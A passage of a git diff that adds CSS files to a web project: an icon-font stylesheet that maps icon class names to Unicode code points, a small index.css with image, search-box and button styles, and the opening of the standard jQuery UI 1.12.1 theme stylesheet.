+} +.icon-price-tag:before { + content: "\e935"; +} +.icon-price-tags:before { + content: "\e936"; +} +.icon-barcode:before { + content: "\e937"; +} +.icon-qrcode:before { + content: "\e938"; +} +.icon-ticket:before { + content: "\e939"; +} +.icon-cart:before { + content: "\e93a"; +} +.icon-coin-dollar:before { + content: "\e93b"; +} +.icon-coin-euro:before { + content: "\e93c"; +} +.icon-coin-pound:before { + content: "\e93d"; +} +.icon-coin-yen:before { + content: "\e93e"; +} +.icon-credit-card:before { + content: "\e93f"; +} +.icon-calculator:before { + content: "\e940"; +} +.icon-lifebuoy:before { + content: "\e941"; +} +.icon-phone:before { + content: "\e942"; +} +.icon-phone-hang-up:before { + content: "\e943"; +} +.icon-address-book:before { + content: "\e944"; +} +.icon-envelop:before { + content: "\e945"; +} +.icon-pushpin:before { + content: "\e946"; +} +.icon-location:before { + content: "\e947"; +} +.icon-location2:before { + content: "\e948"; +} +.icon-compass:before { + content: "\e949"; +} +.icon-compass2:before { + content: "\e94a"; +} +.icon-map:before { + content: "\e94b"; +} +.icon-map2:before { + content: "\e94c"; +} +.icon-history:before { + content: "\e94d"; +} +.icon-clock:before { + content: "\e94e"; +} +.icon-clock2:before { + content: "\e94f"; +} +.icon-alarm:before { + content: "\e950"; +} +.icon-bell:before { + content: "\e951"; +} +.icon-stopwatch:before { + content: "\e952"; +} +.icon-calendar:before { + content: "\e953"; +} +.icon-printer:before { + content: "\e954"; +} +.icon-keyboard:before { + content: "\e955"; +} +.icon-display:before { + content: "\e956"; +} +.icon-laptop:before { + content: "\e957"; +} +.icon-mobile:before { + content: "\e958"; +} +.icon-mobile2:before { + content: "\e959"; +} +.icon-tablet:before { + content: "\e95a"; +} +.icon-tv:before { + content: "\e95b"; +} +.icon-drawer:before { + content: "\e95c"; +} +.icon-drawer2:before { + content: "\e95d"; +} +.icon-box-add:before { + content: "\e95e"; +} +.icon-box-remove:before { + content: "\e95f"; +} +.icon-download:before { + content: "\e960"; +} +.icon-upload:before { + content: "\e961"; +} +.icon-floppy-disk:before { + content: "\e962"; +} +.icon-drive:before { + content: "\e963"; +} +.icon-database:before { + content: "\e964"; +} +.icon-undo:before { + content: "\e965"; +} +.icon-redo:before { + content: "\e966"; +} +.icon-undo2:before { + content: "\e967"; +} +.icon-redo2:before { + content: "\e968"; +} +.icon-forward:before { + content: "\e969"; +} +.icon-reply:before { + content: "\e96a"; +} +.icon-bubble:before { + content: "\e96b"; +} +.icon-bubbles:before { + content: "\e96c"; +} +.icon-bubbles2:before { + content: "\e96d"; +} +.icon-bubble2:before { + content: "\e96e"; +} +.icon-bubbles3:before { + content: "\e96f"; +} +.icon-bubbles4:before { + content: "\e970"; +} +.icon-user:before { + content: "\e971"; +} +.icon-users:before { + content: "\e972"; +} +.icon-user-plus:before { + content: "\e973"; +} +.icon-user-minus:before { + content: "\e974"; +} +.icon-user-check:before { + content: "\e975"; +} +.icon-user-tie:before { + content: "\e976"; +} +.icon-quotes-left:before { + content: "\e977"; +} +.icon-quotes-right:before { + content: "\e978"; +} +.icon-hour-glass:before { + content: "\e979"; +} +.icon-spinner:before { + content: "\e97a"; +} +.icon-spinner2:before { + content: "\e97b"; +} +.icon-spinner3:before { + content: "\e97c"; +} +.icon-spinner4:before { + content: "\e97d"; +} +.icon-spinner5:before { + content: "\e97e"; +} +.icon-spinner6:before { + content: "\e97f"; +} +.icon-spinner7:before { + content: "\e980"; +} +.icon-spinner8:before { + content: "\e981"; +} +.icon-spinner9:before { + content: "\e982"; +} +.icon-spinner10:before { + content: "\e983"; +} +.icon-spinner11:before { + content: "\e984"; +} +.icon-binoculars:before { + content: "\e985"; +} +.icon-search:before { + content: "\e986"; +} +.icon-zoom-in:before { + content: "\e987"; +} +.icon-zoom-out:before { + content: "\e988"; +} +.icon-enlarge:before { + content: "\e989"; +} +.icon-shrink:before { + content: "\e98a"; +} +.icon-enlarge2:before { + content: "\e98b"; +} +.icon-shrink2:before { + content: "\e98c"; +} +.icon-key:before { + content: "\e98d"; +} +.icon-key2:before { + content: "\e98e"; +} +.icon-lock:before { + content: "\e98f"; +} +.icon-unlocked:before { + content: "\e990"; +} +.icon-wrench:before { + content: "\e991"; +} +.icon-equalizer:before { + content: "\e992"; +} +.icon-equalizer2:before { + content: "\e993"; +} +.icon-cog:before { + content: "\e994"; +} +.icon-cogs:before { + content: "\e995"; +} +.icon-hammer:before { + content: "\e996"; +} +.icon-magic-wand:before { + content: "\e997"; +} +.icon-aid-kit:before { + content: "\e998"; +} +.icon-bug:before { + content: "\e999"; +} +.icon-pie-chart:before { + content: "\e99a"; +} +.icon-stats-dots:before { + content: "\e99b"; +} +.icon-stats-bars:before { + content: "\e99c"; +} +.icon-stats-bars2:before { + content: "\e99d"; +} +.icon-trophy:before { + content: "\e99e"; +} +.icon-gift:before { + content: "\e99f"; +} +.icon-glass:before { + content: "\e9a0"; +} +.icon-glass2:before { + content: "\e9a1"; +} +.icon-mug:before { + content: "\e9a2"; +} +.icon-spoon-knife:before { + content: "\e9a3"; +} +.icon-leaf:before { + content: "\e9a4"; +} +.icon-rocket:before { + content: "\e9a5"; +} +.icon-meter:before { + content: "\e9a6"; +} +.icon-meter2:before { + content: "\e9a7"; +} +.icon-hammer2:before { + content: "\e9a8"; +} +.icon-fire:before { + content: "\e9a9"; +} +.icon-lab:before { + content: "\e9aa"; +} +.icon-magnet:before { + content: "\e9ab"; +} +.icon-bin:before { + content: "\e9ac"; +} +.icon-bin2:before { + content: "\e9ad"; +} +.icon-briefcase:before { + content: "\e9ae"; +} +.icon-airplane:before { + content: "\e9af"; +} +.icon-truck:before { + content: "\e9b0"; +} +.icon-road:before { + content: "\e9b1"; +} +.icon-accessibility:before { + content: "\e9b2"; +} +.icon-target:before { + content: "\e9b3"; +} +.icon-shield:before { + content: "\e9b4"; +} +.icon-power:before { + content: "\e9b5"; +} +.icon-switch:before { + content: "\e9b6"; +} +.icon-power-cord:before { + content: "\e9b7"; +} +.icon-clipboard:before { + content: "\e9b8"; +} +.icon-list-numbered:before { + content: "\e9b9"; +} +.icon-list:before { + content: "\e9ba"; +} +.icon-list2:before { + content: "\e9bb"; +} +.icon-tree:before { + content: "\e9bc"; +} +.icon-menu:before { + content: "\e9bd"; +} +.icon-menu2:before { + content: "\e9be"; +} +.icon-menu3:before { + content: "\e9bf"; +} +.icon-menu4:before { + content: "\e9c0"; +} +.icon-cloud:before { + content: "\e9c1"; +} +.icon-cloud-download:before { + content: "\e9c2"; +} +.icon-cloud-upload:before { + content: "\e9c3"; +} +.icon-cloud-check:before { + content: "\e9c4"; +} +.icon-download2:before { + content: "\e9c5"; +} +.icon-upload2:before { + content: "\e9c6"; +} +.icon-download3:before { + content: "\e9c7"; +} +.icon-upload3:before { + content: "\e9c8"; +} +.icon-sphere:before { + content: "\e9c9"; +} +.icon-earth:before { + content: "\e9ca"; +} +.icon-link:before { + content: "\e9cb"; +} +.icon-flag:before { + content: "\e9cc"; +} +.icon-attachment:before { + content: "\e9cd"; +} +.icon-eye:before { + content: "\e9ce"; +} +.icon-eye-plus:before { + content: "\e9cf"; +} +.icon-eye-minus:before { + content: "\e9d0"; +} +.icon-eye-blocked:before { + content: "\e9d1"; +} +.icon-bookmark:before { + content: "\e9d2"; +} +.icon-bookmarks:before { + content: "\e9d3"; +} +.icon-sun:before { + content: "\e9d4"; +} +.icon-contrast:before { + content: "\e9d5"; +} +.icon-brightness-contrast:before { + content: "\e9d6"; +} +.icon-star-empty:before { + content: "\e9d7"; +} +.icon-star-half:before { + content: "\e9d8"; +} +.icon-star-full:before { + content: "\e9d9"; +} +.icon-heart:before { + content: "\e9da"; +} +.icon-heart-broken:before { + content: "\e9db"; +} +.icon-man:before { + content: "\e9dc"; +} +.icon-woman:before { + content: "\e9dd"; +} +.icon-man-woman:before { + content: "\e9de"; +} +.icon-happy:before { + content: "\e9df"; +} +.icon-happy2:before { + content: "\e9e0"; +} +.icon-smile:before { + content: "\e9e1"; +} +.icon-smile2:before { + content: "\e9e2"; +} +.icon-tongue:before { + content: "\e9e3"; +} +.icon-tongue2:before { + content: "\e9e4"; +} +.icon-sad:before { + content: "\e9e5"; +} +.icon-sad2:before { + content: "\e9e6"; +} +.icon-wink:before { + content: "\e9e7"; +} +.icon-wink2:before { + content: "\e9e8"; +} +.icon-grin:before { + content: "\e9e9"; +} +.icon-grin2:before { + content: "\e9ea"; +} +.icon-cool:before { + content: "\e9eb"; +} +.icon-cool2:before { + content: "\e9ec"; +} +.icon-angry:before { + content: "\e9ed"; +} +.icon-angry2:before { + content: "\e9ee"; +} +.icon-evil:before { + content: "\e9ef"; +} +.icon-evil2:before { + content: "\e9f0"; +} +.icon-shocked:before { + content: "\e9f1"; +} +.icon-shocked2:before { + content: "\e9f2"; +} +.icon-baffled:before { + content: "\e9f3"; +} +.icon-baffled2:before { + content: "\e9f4"; +} +.icon-confused:before { + content: "\e9f5"; +} +.icon-confused2:before { + content: "\e9f6"; +} +.icon-neutral:before { + content: "\e9f7"; +} +.icon-neutral2:before { + content: "\e9f8"; +} +.icon-hipster:before { + content: "\e9f9"; +} +.icon-hipster2:before { + content: "\e9fa"; +} +.icon-wondering:before { + content: "\e9fb"; +} +.icon-wondering2:before { + content: "\e9fc"; +} +.icon-sleepy:before { + content: "\e9fd"; +} +.icon-sleepy2:before { + content: "\e9fe"; +} +.icon-frustrated:before { + content: "\e9ff"; +} +.icon-frustrated2:before { + content: "\ea00"; +} +.icon-crying:before { + content: "\ea01"; +} +.icon-crying2:before { + content: "\ea02"; +} +.icon-point-up:before { + content: "\ea03"; +} +.icon-point-right:before { + content: "\ea04"; +} +.icon-point-down:before { + content: "\ea05"; +} +.icon-point-left:before { + content: "\ea06"; +} +.icon-warning:before { + content: "\ea07"; +} +.icon-notification:before { + content: "\ea08"; +} +.icon-question:before { + content: "\ea09"; +} +.icon-plus:before { + content: "\ea0a"; +} +.icon-minus:before { + content: "\ea0b"; +} +.icon-info:before { + content: "\ea0c"; +} +.icon-cancel-circle:before { + content: "\ea0d"; +} +.icon-blocked:before { + content: "\ea0e"; +} +.icon-cross:before { + content: "\ea0f"; +} +.icon-checkmark:before { + content: "\ea10"; +} +.icon-checkmark2:before { + content: "\ea11"; +} +.icon-spell-check:before { + content: "\ea12"; +} +.icon-enter:before { + content: "\ea13"; +} +.icon-exit:before { + content: "\ea14"; +} +.icon-play2:before { + content: "\ea15"; +} +.icon-pause:before { + content: "\ea16"; +} +.icon-stop:before { + content: "\ea17"; +} +.icon-previous:before { + content: "\ea18"; +} +.icon-next:before { + content: "\ea19"; +} +.icon-backward:before { + content: "\ea1a"; +} +.icon-forward2:before { + content: "\ea1b"; +} +.icon-play3:before { + content: "\ea1c"; +} +.icon-pause2:before { + content: "\ea1d"; +} +.icon-stop2:before { + content: "\ea1e"; +} +.icon-backward2:before { + content: "\ea1f"; +} +.icon-forward3:before { + content: "\ea20"; +} +.icon-first:before { + content: "\ea21"; +} +.icon-last:before { + content: "\ea22"; +} +.icon-previous2:before { + content: "\ea23"; +} +.icon-next2:before { + content: "\ea24"; +} +.icon-eject:before { + content: "\ea25"; +} +.icon-volume-high:before { + content: "\ea26"; +} +.icon-volume-medium:before { + content: "\ea27"; +} +.icon-volume-low:before { + content: "\ea28"; +} +.icon-volume-mute:before { + content: "\ea29"; +} +.icon-volume-mute2:before { + content: "\ea2a"; +} +.icon-volume-increase:before { + content: "\ea2b"; +} +.icon-volume-decrease:before { + content: "\ea2c"; +} +.icon-loop:before { + content: "\ea2d"; +} +.icon-loop2:before { + content: "\ea2e"; +} +.icon-infinite:before { + content: "\ea2f"; +} +.icon-shuffle:before { + content: "\ea30"; +} +.icon-arrow-up-left:before { + content: "\ea31"; +} +.icon-arrow-up:before { + content: "\ea32"; +} +.icon-arrow-up-right:before { + content: "\ea33"; +} +.icon-arrow-right:before { + content: "\ea34"; +} +.icon-arrow-down-right:before { + content: "\ea35"; +} +.icon-arrow-down:before { + content: "\ea36"; +} +.icon-arrow-down-left:before { + content: "\ea37"; +} +.icon-arrow-left:before { + content: "\ea38"; +} +.icon-arrow-up-left2:before { + content: "\ea39"; +} +.icon-arrow-up2:before { + content: "\ea3a"; +} +.icon-arrow-up-right2:before { + content: "\ea3b"; +} +.icon-arrow-right2:before { + content: "\ea3c"; +} +.icon-arrow-down-right2:before { + content: "\ea3d"; +} +.icon-arrow-down2:before { + content: "\ea3e"; +} +.icon-arrow-down-left2:before { + content: "\ea3f"; +} +.icon-arrow-left2:before { + content: "\ea40"; +} +.icon-circle-up:before { + content: "\ea41"; +} +.icon-circle-right:before { + content: "\ea42"; +} +.icon-circle-down:before { + content: "\ea43"; +} +.icon-circle-left:before { + content: "\ea44"; +} +.icon-tab:before { + content: "\ea45"; +} +.icon-move-up:before { + content: "\ea46"; +} +.icon-move-down:before { + content: "\ea47"; +} +.icon-sort-alpha-asc:before { + content: "\ea48"; +} +.icon-sort-alpha-desc:before { + content: "\ea49"; +} +.icon-sort-numeric-asc:before { + content: "\ea4a"; +} +.icon-sort-numberic-desc:before { + content: "\ea4b"; +} +.icon-sort-amount-asc:before { + content: "\ea4c"; +} +.icon-sort-amount-desc:before { + content: "\ea4d"; +} +.icon-command:before { + content: "\ea4e"; +} +.icon-shift:before { + content: "\ea4f"; +} +.icon-ctrl:before { + content: "\ea50"; +} +.icon-opt:before { + content: "\ea51"; +} +.icon-checkbox-checked:before { + content: "\ea52"; +} +.icon-checkbox-unchecked:before { + content: "\ea53"; +} +.icon-radio-checked:before { + content: "\ea54"; +} +.icon-radio-checked2:before { + content: "\ea55"; +} +.icon-radio-unchecked:before { + content: "\ea56"; +} +.icon-crop:before { + content: "\ea57"; +} +.icon-make-group:before { + content: "\ea58"; +} +.icon-ungroup:before { + content: "\ea59"; +} +.icon-scissors:before { + content: "\ea5a"; +} +.icon-filter:before { + content: "\ea5b"; +} +.icon-font:before { + content: "\ea5c"; +} +.icon-ligature:before { + content: "\ea5d"; +} +.icon-ligature2:before { + content: "\ea5e"; +} +.icon-text-height:before { + content: "\ea5f"; +} +.icon-text-width:before { + content: "\ea60"; +} +.icon-font-size:before { + content: "\ea61"; +} +.icon-bold:before { + content: "\ea62"; +} +.icon-underline:before { + content: "\ea63"; +} +.icon-italic:before { + content: "\ea64"; +} +.icon-strikethrough:before { + content: "\ea65"; +} +.icon-omega:before { + content: "\ea66"; +} +.icon-sigma:before { + content: "\ea67"; +} +.icon-page-break:before { + content: "\ea68"; +} +.icon-superscript:before { + content: "\ea69"; +} +.icon-subscript:before { + content: "\ea6a"; +} +.icon-superscript2:before { + content: "\ea6b"; +} +.icon-subscript2:before { + content: "\ea6c"; +} +.icon-text-color:before { + content: "\ea6d"; +} +.icon-pagebreak:before { + content: "\ea6e"; +} +.icon-clear-formatting:before { + content: "\ea6f"; +} +.icon-table:before { + content: "\ea70"; +} +.icon-table2:before { + content: "\ea71"; +} +.icon-insert-template:before { + content: "\ea72"; +} +.icon-pilcrow:before { + content: "\ea73"; +} +.icon-ltr:before { + content: "\ea74"; +} +.icon-rtl:before { + content: "\ea75"; +} +.icon-section:before { + content: "\ea76"; +} +.icon-paragraph-left:before { + content: "\ea77"; +} +.icon-paragraph-center:before { + content: "\ea78"; +} +.icon-paragraph-right:before { + content: "\ea79"; +} +.icon-paragraph-justify:before { + content: "\ea7a"; +} +.icon-indent-increase:before { + content: "\ea7b"; +} +.icon-indent-decrease:before { + content: "\ea7c"; +} +.icon-share:before { + content: "\ea7d"; +} +.icon-new-tab:before { + content: "\ea7e"; +} +.icon-embed:before { + content: "\ea7f"; +} +.icon-embed2:before { + content: "\ea80"; +} +.icon-terminal:before { + content: "\ea81"; +} +.icon-share2:before { + content: "\ea82"; +} +.icon-mail:before { + content: "\ea83"; +} +.icon-mail2:before { + content: "\ea84"; +} +.icon-mail3:before { + content: "\ea85"; +} +.icon-mail4:before { + content: "\ea86"; +} +.icon-amazon:before { + content: "\ea87"; +} +.icon-google:before { + content: "\ea88"; +} +.icon-google2:before { + content: "\ea89"; +} +.icon-google3:before { + content: "\ea8a"; +} +.icon-google-plus:before { + content: "\ea8b"; +} +.icon-google-plus2:before { + content: "\ea8c"; +} +.icon-google-plus3:before { + content: "\ea8d"; +} +.icon-hangouts:before { + content: "\ea8e"; +} +.icon-google-drive:before { + content: "\ea8f"; +} +.icon-facebook:before { + content: "\ea90"; +} +.icon-facebook2:before { + content: "\ea91"; +} +.icon-instagram:before { + content: "\ea92"; +} +.icon-whatsapp:before { + content: "\ea93"; +} +.icon-spotify:before { + content: "\ea94"; +} +.icon-telegram:before { + content: "\ea95"; +} +.icon-twitter:before { + content: "\ea96"; +} +.icon-vine:before { + content: "\ea97"; +} +.icon-vk:before { + content: "\ea98"; +} +.icon-renren:before { + content: "\ea99"; +} +.icon-sina-weibo:before { + content: "\ea9a"; +} +.icon-rss:before { + content: "\ea9b"; +} +.icon-rss2:before { + content: "\ea9c"; +} +.icon-youtube:before { + content: "\ea9d"; +} +.icon-youtube2:before { + content: "\ea9e"; +} +.icon-twitch:before { + content: "\ea9f"; +} +.icon-vimeo:before { + content: "\eaa0"; +} +.icon-vimeo2:before { + content: "\eaa1"; +} +.icon-lanyrd:before { + content: "\eaa2"; +} +.icon-flickr:before { + content: "\eaa3"; +} +.icon-flickr2:before { + content: "\eaa4"; +} +.icon-flickr3:before { + content: "\eaa5"; +} +.icon-flickr4:before { + content: "\eaa6"; +} +.icon-dribbble:before { + content: "\eaa7"; +} +.icon-behance:before { + content: "\eaa8"; +} +.icon-behance2:before { + content: "\eaa9"; +} +.icon-deviantart:before { + content: "\eaaa"; +} +.icon-500px:before { + content: "\eaab"; +} +.icon-steam:before { + content: "\eaac"; +} +.icon-steam2:before { + content: "\eaad"; +} +.icon-dropbox:before { + content: "\eaae"; +} +.icon-onedrive:before { + content: "\eaaf"; +} +.icon-github:before { + content: "\eab0"; +} +.icon-npm:before { + content: "\eab1"; +} +.icon-basecamp:before { + content: "\eab2"; +} +.icon-trello:before { + content: "\eab3"; +} +.icon-wordpress:before { + content: "\eab4"; +} +.icon-joomla:before { + content: "\eab5"; +} +.icon-ello:before { + content: "\eab6"; +} +.icon-blogger:before { + content: "\eab7"; +} +.icon-blogger2:before { + content: "\eab8"; +} +.icon-tumblr:before { + content: "\eab9"; +} +.icon-tumblr2:before { + content: "\eaba"; +} +.icon-yahoo:before { + content: "\eabb"; +} +.icon-yahoo2:before { + content: "\eabc"; +} +.icon-tux:before { + content: "\eabd"; +} +.icon-appleinc:before { + content: "\eabe"; +} +.icon-finder:before { + content: "\eabf"; +} +.icon-android:before { + content: "\eac0"; +} +.icon-windows:before { + content: "\eac1"; +} +.icon-windows8:before { + content: "\eac2"; +} +.icon-soundcloud:before { + content: "\eac3"; +} +.icon-soundcloud2:before { + content: "\eac4"; +} +.icon-skype:before { + content: "\eac5"; +} +.icon-reddit:before { + content: "\eac6"; +} +.icon-hackernews:before { + content: "\eac7"; +} +.icon-wikipedia:before { + content: "\eac8"; +} +.icon-linkedin:before { + content: "\eac9"; +} +.icon-linkedin2:before { + content: "\eaca"; +} +.icon-lastfm:before { + content: "\eacb"; +} +.icon-lastfm2:before { + content: "\eacc"; +} +.icon-delicious:before { + content: "\eacd"; +} +.icon-stumbleupon:before { + content: "\eace"; +} +.icon-stumbleupon2:before { + content: "\eacf"; +} +.icon-stackoverflow:before { + content: "\ead0"; +} +.icon-pinterest:before { + content: "\ead1"; +} +.icon-pinterest2:before { + content: "\ead2"; +} +.icon-xing:before { + content: "\ead3"; +} +.icon-xing2:before { + content: "\ead4"; +} +.icon-flattr:before { + content: "\ead5"; +} +.icon-foursquare:before { + content: "\ead6"; +} +.icon-yelp:before { + content: "\ead7"; +} +.icon-paypal:before { + content: "\ead8"; +} +.icon-chrome:before { + content: "\ead9"; +} +.icon-firefox:before { + content: "\eada"; +} +.icon-IE:before { + content: "\eadb"; +} +.icon-edge:before { + content: "\eadc"; +} +.icon-safari:before { + content: "\eadd"; +} +.icon-opera:before { + content: "\eade"; +} +.icon-file-pdf:before { + content: "\eadf"; +} +.icon-file-openoffice:before { + content: "\eae0"; +} +.icon-file-word:before { + content: "\eae1"; +} +.icon-file-excel:before { + content: "\eae2"; +} +.icon-libreoffice:before { + content: "\eae3"; +} +.icon-html-five:before { + content: "\eae4"; +} +.icon-html-five2:before { + content: "\eae5"; +} +.icon-css3:before { + content: "\eae6"; +} +.icon-git:before { + content: "\eae7"; +} +.icon-codepen:before { + content: "\eae8"; +} +.icon-svg:before { + content: "\eae9"; +} +.icon-IcoMoon:before { + content: "\eaea"; +} +.icon-uni21:before { + content: "\21"; +} +.icon-uni22:before { + content: "\22"; +} +.icon-uni23:before { + content: "\23"; +} +.icon-uni24:before { + content: "\24"; +} +.icon-uni25:before { + content: "\25"; +} +.icon-uni26:before { + content: "\26"; +} +.icon-uni27:before { + content: "\27"; +} +.icon-uni28:before { + content: "\28"; +} +.icon-uni29:before { + content: "\29"; +} +.icon-uni2A:before { + content: "\2a"; +} +.icon-uni2B:before { + content: "\2b"; +} +.icon-uni2C:before { + content: "\2c"; +} +.icon-uni2D:before { + content: "\2d"; +} +.icon-uni2E:before { + content: "\2e"; +} +.icon-uni2F:before { + content: "\2f"; +} +.icon-uni30:before { + content: "\30"; +} +.icon-uni31:before { + content: "\31"; +} +.icon-uni32:before { + content: "\32"; +} +.icon-uni33:before { + content: "\33"; +} +.icon-uni34:before { + content: "\34"; +} +.icon-uni35:before { + content: "\35"; +} +.icon-uni36:before { + content: "\36"; +} +.icon-uni37:before { + content: "\37"; +} +.icon-uni38:before { + content: "\38"; +} +.icon-uni39:before { + content: "\39"; +} +.icon-uni3A:before { + content: "\3a"; +} +.icon-uni3B:before { + content: "\3b"; +} +.icon-uni3C:before { + content: "\3c"; +} +.icon-uni3D:before { + content: "\3d"; +} +.icon-uni3E:before { + content: "\3e"; +} +.icon-uni3F:before { + content: "\3f"; +} +.icon-uni40:before { + content: "\40"; +} +.icon-uni41:before { + content: "\41"; +} +.icon-uni42:before { + content: "\42"; +} +.icon-uni43:before { + content: "\43"; +} +.icon-uni44:before { + content: "\44"; +} +.icon-uni45:before { + content: "\45"; +} +.icon-uni46:before { + content: "\46"; +} +.icon-uni47:before { + content: "\47"; +} +.icon-uni48:before { + content: "\48"; +} +.icon-uni49:before { + content: "\49"; +} +.icon-uni4A:before { + content: "\4a"; +} +.icon-uni4B:before { + content: "\4b"; +} +.icon-uni4C:before { + content: "\4c"; +} +.icon-uni4D:before { + content: "\4d"; +} +.icon-uni4E:before { + content: "\4e"; +} +.icon-uni4F:before { + content: "\4f"; +} +.icon-uni50:before { + content: "\50"; +} +.icon-uni51:before { + content: "\51"; +} +.icon-uni52:before { + content: "\52"; +} +.icon-uni53:before { + content: "\53"; +} +.icon-uni54:before { + content: "\54"; +} +.icon-uni55:before { + content: "\55"; +} +.icon-uni56:before { + content: "\56"; +} +.icon-uni57:before { + content: "\57"; +} +.icon-uni58:before { + content: "\58"; +} +.icon-uni59:before { + content: "\59"; +} +.icon-uni5A:before { + content: "\5a"; +} +.icon-uni5B:before { + content: "\5b"; +} +.icon-uni5C:before { + content: "\5c"; +} +.icon-uni5D:before { + content: "\5d"; +} +.icon-uni5E:before { + content: "\5e"; +} +.icon-uni5F:before { + content: "\5f"; +} +.icon-uni60:before { + content: "\60"; +} +.icon-uni61:before { + content: "\61"; +} +.icon-uni62:before { + content: "\62"; +} +.icon-uni63:before { + content: "\63"; +} +.icon-uni64:before { + content: "\64"; +} +.icon-uni65:before { + content: "\65"; +} +.icon-uni66:before { + content: "\66"; +} +.icon-uni67:before { + content: "\67"; +} +.icon-uni68:before { + content: "\68"; +} +.icon-uni69:before { + content: "\69"; +} +.icon-uni6A:before { + content: "\6a"; +} +.icon-uni6B:before { + content: "\6b"; +} +.icon-uni6C:before { + content: "\6c"; +} +.icon-uni6D:before { + content: "\6d"; +} +.icon-uni6E:before { + content: "\6e"; +} +.icon-uni6F:before { + content: "\6f"; +} +.icon-uni70:before { + content: "\70"; +} +.icon-uni71:before { + content: "\71"; +} +.icon-uni72:before { + content: "\72"; +} +.icon-uni73:before { + content: "\73"; +} +.icon-uni74:before { + content: "\74"; +} +.icon-uni75:before { + content: "\75"; +} +.icon-uni76:before { + content: "\76"; +} +.icon-uni77:before { + content: "\77"; +} +.icon-uni78:before { + content: "\78"; +} +.icon-uni79:before { + content: "\79"; +} +.icon-uni7A:before { + content: "\7a"; +} +.icon-uni7B:before { + content: "\7b"; +} +.icon-uni7C:before { + content: "\7c"; +} +.icon-uni7D:before { + content: "\7d"; +} +.icon-uni7E:before { + content: "\7e"; +} +.icon-uniA9:before { + content: "\a9"; +} + diff --git a/public/css/index.css b/public/css/index.css new file mode 100644 index 0000000..e4eb391 --- /dev/null +++ b/public/css/index.css @@ -0,0 +1,17 @@ +img { + width: 150px; + height: auto; + border-radius: 8px; + margin-bottom: 10px; + } + +.search { + width: 90%; + height: 30px; + border-radius: 5px; +} + +.btn-orange { + background-color: orange; + color: aliceblue; +} \ No newline at end of file diff --git a/public/css/jquery-ui.css b/public/css/jquery-ui.css new file mode 100644 index 0000000..a22ecb0 --- /dev/null +++ b/public/css/jquery-ui.css @@ -0,0 +1,1311 @@ +/*! jQuery UI - v1.12.1 - 2016-09-14 +* http://jqueryui.com +* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css +* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&fwDefault=normal&cornerRadius=3px&bgColorHeader=e9e9e9&bgTextureHeader=flat&borderColorHeader=dddddd&fcHeader=333333&iconColorHeader=444444&bgColorContent=ffffff&bgTextureContent=flat&borderColorContent=dddddd&fcContent=333333&iconColorContent=444444&bgColorDefault=f6f6f6&bgTextureDefault=flat&borderColorDefault=c5c5c5&fcDefault=454545&iconColorDefault=777777&bgColorHover=ededed&bgTextureHover=flat&borderColorHover=cccccc&fcHover=2b2b2b&iconColorHover=555555&bgColorActive=007fff&bgTextureActive=flat&borderColorActive=003eff&fcActive=ffffff&iconColorActive=ffffff&bgColorHighlight=fffa90&bgTextureHighlight=flat&borderColorHighlight=dad55e&fcHighlight=777620&iconColorHighlight=777620&bgColorError=fddfdf&bgTextureError=flat&borderColorError=f1a899&fcError=5f3f3f&iconColorError=cc0000&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=666666&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=5px&offsetTopShadow=0px&offsetLeftShadow=0px&cornerRadiusShadow=8px +* Copyright jQuery Foundation and other contributors; Licensed MIT */ + +/* Layout helpers +----------------------------------*/ +.ui-helper-hidden { + display: none; +} +.ui-helper-hidden-accessible { + border: 0; + clip: rect(0 0 0 0); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; +} +.ui-helper-reset { + margin: 0; + padding: 0; + border: 0; + outline: 0; + line-height: 1.3; + text-decoration: none; + font-size: 100%; + list-style: none; +} +.ui-helper-clearfix:before, +.ui-helper-clearfix:after { + content: ""; + display: table; + border-collapse: collapse; +} +.ui-helper-clearfix:after { + clear: both; +} +.ui-helper-zfix { + width: 100%; + height: 100%; + top: 0; + left: 0; + position: absolute; + opacity: 0; + filter:Alpha(Opacity=0); /* support: IE8 */ +} + +.ui-front { + z-index: 100; +} + + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { + cursor: default !important; + pointer-events: none; +} + + +/* Icons +----------------------------------*/ +.ui-icon { + display: inline-block; + vertical-align: middle; + margin-top: -.25em; + position: relative; + text-indent: -99999px; + overflow: hidden; + background-repeat: no-repeat; +} + +.ui-widget-icon-block { + left: 50%; + margin-left: -8px; + display: block; +} + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; +} +.ui-accordion .ui-accordion-header { + display: block; + cursor: pointer; + position: relative; + margin: 2px 0 0 0; + padding: .5em .5em .5em .7em; + font-size: 100%; +} +.ui-accordion .ui-accordion-content { + padding: 1em 2.2em; + border-top: 0; + overflow: auto; +} +.ui-autocomplete { + position: absolute; + top: 0; + left: 0; + cursor: default; +} +.ui-menu { + list-style: none; + padding: 0; + margin: 0; + display: block; + outline: 0; +} +.ui-menu .ui-menu { + position: absolute; +} +.ui-menu .ui-menu-item { + margin: 0; + cursor: pointer; + /* support: IE10, see #8844 */ + list-style-image: url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"); +} +.ui-menu .ui-menu-item-wrapper { + position: relative; + padding: 3px 1em 3px .4em; +} +.ui-menu .ui-menu-divider { + margin: 5px 0; + height: 0; + font-size: 0; + line-height: 0; + border-width: 1px 0 0 0; +} +.ui-menu .ui-state-focus, +.ui-menu .ui-state-active { + margin: -1px; +} + +/* icon support */ +.ui-menu-icons { + position: relative; +} +.ui-menu-icons .ui-menu-item-wrapper { + padding-left: 2em; +} + +/* left-aligned */ +.ui-menu .ui-icon { + position: absolute; + top: 0; + bottom: 0; + left: .2em; + margin: auto 0; +} + +/* right-aligned */ +.ui-menu .ui-menu-icon { + left: auto; + right: 0; +} +.ui-button { + padding: .4em 1em; + display: inline-block; + position: relative; + line-height: normal; + margin-right: .1em; + cursor: pointer; + vertical-align: middle; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + + 